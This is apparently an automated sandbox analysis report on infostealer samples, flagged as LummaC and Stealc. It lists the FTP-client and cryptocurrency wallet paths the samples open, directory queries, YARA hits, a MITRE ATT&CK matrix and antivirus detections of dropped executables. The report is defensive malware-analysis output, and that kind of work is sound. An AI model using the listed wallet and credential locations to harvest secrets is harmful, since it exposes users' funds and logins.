Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\DUKNXICOZT
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\DUKNXICOZT
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\BUFZSQPCOH
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\DUKNXICOZT
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF

Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Directory queried: number of queries: 1508

Source: Yara match	File source: 00000016.00000003.2434668067.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2384983215.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2383235771.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2447624560.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2472345101.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2141996499.000000000148F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2406506448.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2329666073.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2204287430.0000000001490000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2327579765.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2379633273.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2479064568.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1400646569.0000000001030000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2424073542.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2199846800.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2489778038.00000000006EF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2204391709.0000000001497000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2316268549.00000000006EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2471926524.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2345521129.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2412425564.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2463957807.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2159769434.000000000148F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2441812633.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2414250147.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2158369974.000000000148F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2182464511.0000000001486000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2469265249.00000000006E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 2332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 6120, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 2332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: df757a3a2c.exe PID: 6120, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 40.0.num.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.ea19c894e7.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.JSB9K8LR5IJBR9A62C6KA1RW.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000003.1854235695.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1912431700.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2239265604.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.2317388418.0000000000AA1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1906278770.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2240323623.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2195926648.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2357078140.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JSB9K8LR5IJBR9A62C6KA1RW.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea19c894e7.exe PID: 4332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	235 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	44%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001636001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001636001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	100%	Joe Sandbox ML
